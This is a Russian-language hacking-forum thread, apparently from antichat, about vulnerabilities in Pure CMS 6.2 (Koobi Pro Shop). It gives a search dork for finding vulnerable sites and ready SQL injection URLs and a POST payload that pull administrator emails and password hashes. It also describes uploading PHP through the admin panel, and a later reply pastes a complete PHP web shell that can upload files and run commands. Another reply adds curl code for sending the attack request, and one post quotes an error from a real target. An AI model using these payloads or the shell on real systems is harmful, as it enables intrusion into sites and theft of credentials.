Уязвимости Koobi Pro Shop Pure CMS 6.2 + возможно уязвимы <-е версии. Ищется по дорку: `Powered by Pure CMS 6.2 RUS Overdoze Team [ antichat.ru & overdoze.ru ]` > вроде как создатели какие-то Дайвер и Макс, видимо забросили и "это" уже те, кто дописывал данный движок Профикс: Вероятнее всего => "kpro" Хэширование: md5(md5($pass)) Адм&панель: /admin/ 1)sqli PHP: $sql = $db->Query("SELECT * FROM ".PREFIX."_gallery WHERE id=$_REQUEST[galid] "); $row_gal = $sql->fetchrow(); Эксплуатация Code: index.php?p=gallerypic&img_id=9&galid=2+or+(1,1)=(select+count(0),concat((select+concat_ws(0x3a,email,pass)+from+[prefix]_user+where+ugroup=1),floor(rand(0)*2))from(information_schema.columns)group+by+2)&area=1&ascdesc=desc 2)sqli PHP: $sql = $db->Query("SELECT * FROM ".PREFIX."_gallery_items WHERE id=$_REQUEST[img_id] "); $row = $sql->fetchrow(); Эксплуатация Code: index.php?p=gallerypic&img_id=-9+union+select+1,2,3,0x78656b,5,6,concat_ws(0x3a,email,pass),8,9+from+[prefix]_user+where+ugroup=1&galid=1&area=1&ascdesc=desc 3)Inject INSERT /functions/Func.InOutput.php PHP: function iform($text, $chars, $allowed) { global $pref; $text = addslashes($text); $text = strip_tags($text, "" . $allowed . ""); $text = substr($text, 0, $chars); return $text; } /functions/Func.Post.php PHP: function formtext($text,$maxlength){ $text = substr($text,0, $maxlength); return $text; } /system/gallerypic.php PHP: if(!$error){ $text = formtext($_POST['text'],$MAXCOMMLENGTH); $sql = $db->Query("INSERT INTO ".PREFIX."_gallerycomments (id, imgid, ctime, autor, title, comment, ip) VALUES ('','".(int)$_REQUEST['img_id']."', '".time()."', '".$UID."', '".iform($_POST['title'],"255","")."', '".$text."', '".$_SERVER['REMOTE_ADDR']."')"); Эксплуатация POST parameters Code: title=[qqq=254]\\&kmode=&kmode=normal&text=, (select concat(email,0x3a,pass) from [prefix]_users where ugroup=1 limit 0,1),1)#&scode=[security-code]&do=send&area=1 = видим пароль в заголовке комментария. 4)Заливка шелла Вроде как не я первый нашел. Потому опишу в двух словах. За подробностями обращайтесь к гуглу. Админка-Статические страницы>Создать документ Название => rdot Текст => {php} phpinfo(); {/php} connect => /index.php?area=1&p=static&page=rdot 5)пути Code: /inc/init.php ********************* (c)v1d0q ********************
первый попавшийся Code: `Powered by Pure CMS 6.2 RUS Overdoze Team [ antichat.ru & overdoze.ru ] HTML: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(0x3a,email,pass) from [prefix]_user where ugroup=1),floor(rand(0)*2))from(infor' at line 1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(0x3a,email,pass) from [prefix]_user where ugroup=1),floor(rand(0)*2))from(infor' at line 1
Не разобрался с заливкой шелла. Вставлял мини шелл код между тегами php и них. пробовал через инклуд... тож самое что то типа такого вставлял PHP: <html> <head> <title>Загрузчик</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <style type="text/css"> <!-- body { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px} a { color: #000000; text-decoration: none} a:hover { color: #000066; text-decoration: underline} --> </style> </head> <body bgcolor="#999999" text="#000000"> <center> <table width="700" border="0" bgcolor="#000066"> <tr> <td> <table width="100%" border="0" bgcolor="#CCCCCC"> <tr> <td> <p><font size="2"><b><font color="#FF0000"> Система: <font color="#000000"> <? passthru("uname -a"); ?> </font><br> Our permissions: <font color="#000000"> <? passthru("id"); ?> </font><br> Our locality: <font color="#000000"> <? passthru("pwd"); ?> </font></font></b></font></p> <pre> <?php // FILE UPLOAD $uploaded = $_FILES['userfile']['tmp_name']; if (file_exists($uploaded)) { $pwd_dir = $_POST['dira']; $real = $_FILES['userfile']['name']; $destination = $pwd_dir."/".$real; copy($uploaded, $destination); echo "Uploaded process:"; print_r ($_FILES); echo "Файл загружен в $destination"; } else { echo " Нет загруженых файлов"; } ?> </pre> <form name="form1" method="post" enctype="multipart/form-data"> <table width="100%" border="0"> <tr> <td width="35%"><font size="2"><b> Файл для загрузки :</b></font></td> <td width="65%"> <input type="file" name="userfile" size="45"> </td> </tr> <tr> <td width="35%"><b><font size="2"> Расположение:</font></b></td> <td width="65%"> <input type="text" name="dira" size="45" value="<? passthru("pwd"); ?>"> <input type="submit" name="submit2" value="Загрузить"> </td> </tr> <tr> <td width="35%"> <div align="right"> </div> </td> <td width="65%"> </td> </tr> <tr> <td width="35%"><b><font size="2"> Вводи команду :</font></b></td> <td width="65%"> <input type="text" name="cmd" size="45" value="<? echo $_POST['cmd']; ?>"> <input type="submit" name="submit" value="Выполнить"> </td> </tr> <tr> <td width="35%"> <div align="right"> </div> </td> <td width="65%"> </td> </tr> </table> </form> <p> <pre> <? // command output if ($_POST['cmd']){ $cmd = $_POST['cmd']; echo "$cmd ГОТОВО...<br>"; passthru("$cmd"); } else { echo "Нет выполненных команд"; } ?></pre> <div align="right"> <font size="1"><b>2003 © </b></font> </div> </td> </tr> </table> </td> </tr> </table> </center> </body> </html>
Приветствую всех! Имеется у меня сайт на Powered by Pure CMS 6.2 RUS Overdoze Team Как мне можно проверить имеются ли в системе вышеописанные дырки? Первые два действия я так понимаю ввожу через адресную строку: домен.ру/ndex.php?p=gallerypic&img_id=-9+union+select+1,2,3,0x78656b,5,6,concat_ws(0x3a,e mail,pass),8,9+from+pure_user+where+ugroup=1&galid=1&area=1&ascdesc=desc и домен.ру/index.php?p=gallerypic&img_id=9&galid=2+or+(1,1)=(select+count(0),concat((select+c oncat_ws(0x3a,email,pass)+from+pure_user+where+ugr oup=1),floor(rand(0)*2))from(information_schema.co lumns)group+by+2)&area=1&ascdesc=desc что после этого должно произойти? и как отправить POST parameters? title=[qqq=254]\\&kmode=&kmode=normal&text=, (select concat(email,0x3a,pass) from [prefix]_users where ugroup=1 limit 0,1),1)#&scode=[security-code]&do=send&area=1 и следовательно после этого я должен буду получить пароль к админке? Заранее благодарю за советы и помощь!
[prefix]_users - как у тебя указана в бд. прификс твой. запрос пост отправить с помощью curl $ch = curl_init(); //curl_setopt($ch, CURLOPT_PROXY, "1.2.3.4:123"); //если нужен прокси curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL, "http://www.site.com/form.php"); //куда шлем curl_setopt($ch, CURLOPT_POSTFIELDS, "x=231&y=342"); //что шлем curl_setopt($ch, CURLOPT_REFERER, "http://www.site.com"); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.1.4322)"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_NOBODY, 0); $result=curl_exec ($ch); curl_close ($ch); echo $result; и так же посмотри вот эту тему, много полезных программ http://forum.antichat.ru/threadnav240692-1-10.html